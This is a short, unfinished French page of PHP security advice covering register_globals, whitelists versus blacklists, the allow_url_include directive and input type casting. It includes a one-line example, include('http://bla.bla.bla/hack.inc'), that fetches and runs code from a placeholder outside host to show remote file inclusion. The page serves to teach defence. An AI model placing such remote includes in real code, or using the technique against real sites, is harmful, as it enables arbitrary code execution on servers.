Skip to content

Sécurité

Page incomplète pour le moment

Toutes les données soumises par l’utilisateur peuvent être potentiellement dangereuse. Il faut toujours se méfier de ce que l’on reçoit.

  • Toujours laisser à Off Register_Globals : Quand elle sont activées, toutes les variables d’une applications sont potentiellement manipulable par l’utilisateur. En passant des variables en GET/POST ou COOKIE, on peut créer des variables dans l’application. Si un utilisateur malveillant récupère un nom de variable donnant kes droits d’administrateur, il peut facilement obtenir tous les droits
  • BlackList vs. WhiteList :
    • WhiteList : Tout ce qui représente une bonne valeur est autorisé, le reste est rejeté
    • BlackList : Tout ce qui est dans la liste n’est pas autorisé = nécéssite beaucoup de maintenance.
  • Faire attention aux directive allow_url_fopen et allow_url_include:
    &lt?php
    	include('http://bla.bla.bla/hack.inc');
    	echo $foo;
    	// le fichier hack.inc contenant $foo = "bar";
    

    Un utilisateur malveillant s’il trouve une faille dans un moteur de pagination par exemple pourra executer le code qu’il veut.

  • Caster les types que l’on attends. Si on attends un (int) en entrée, le caster en (int) pour éviter certaines failles. On fera attention a ne pas caster des réels sans précaution.